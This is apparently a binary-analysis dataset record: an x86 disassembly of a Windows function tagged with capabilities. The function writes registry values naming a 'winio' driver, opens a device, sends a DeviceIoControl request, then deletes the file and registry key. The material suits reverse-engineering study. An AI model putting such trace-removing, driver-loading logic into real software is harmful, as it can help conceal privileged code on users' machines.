Function at 0x452c30
Capabilities:
Delete file
Delete registry key
Set registry value

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
call fcn.00452b50
test al, al
mov byte [0x4dc244], al
je 0x452e4f
call fcn.00452b80
call fcn.00452af0
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, str.._tlgpp
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov eax, ecx
mov esi, edi
mov edi, 0x4dc350
mov byte [esp + 0x1c], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov dword [esp + 0x1d], ecx
mov dword [esp + 0x21], ecx
mov dword [esp + 0x25], ecx
mov dword [esp + 0x29], ecx
mov word [esp + 0x2d], cx
mov byte [esp + 0x2f], cl
call ebx
cdq
mov ecx, 3
mov esi, 0
idiv ecx
mov edi, edx
add edi, ecx
je 0x452cdb
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x1c], dl
inc esi
cmp esi, edi
jb 0x452cc5
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4dc350
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
push str.SOFTWAREMicrosoft
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x452d68
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
push eax
push 1
push 0
push str.winio
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4dc350
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 0xffffffff
mov dword [0x4da078], eax
jne 0x452df7
xor edi, edi
push 1
push 0x4dc248
call fcn.00452f80
mov bl, al
test bl, bl
je 0x452ddd
call fcn.00453060
mov bl, al
test bl, bl
je 0x452ddd
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4dc350
call esi
test eax, eax
mov dword [0x4da078], eax
je 0x452ddd
cmp eax, 0xffffffff
jne 0x452de3
inc edi
cmp edi, 4
jl 0x452d99
push 0x4dc248
call ebp
test bl, bl
je 0x452e4f
cmp dword [0x4da078], 0xffffffff
je 0x452e4f
push 0x4dc248
call ebp
mov ecx, dword [0x4da078]
lea eax, [esp + 0x18]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x8001200c
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x452e4f
mov edx, dword [esp + 0x10]
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov byte [0x4dc34c], 1
mov al, 1
pop ebx
add esp, 0x20
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret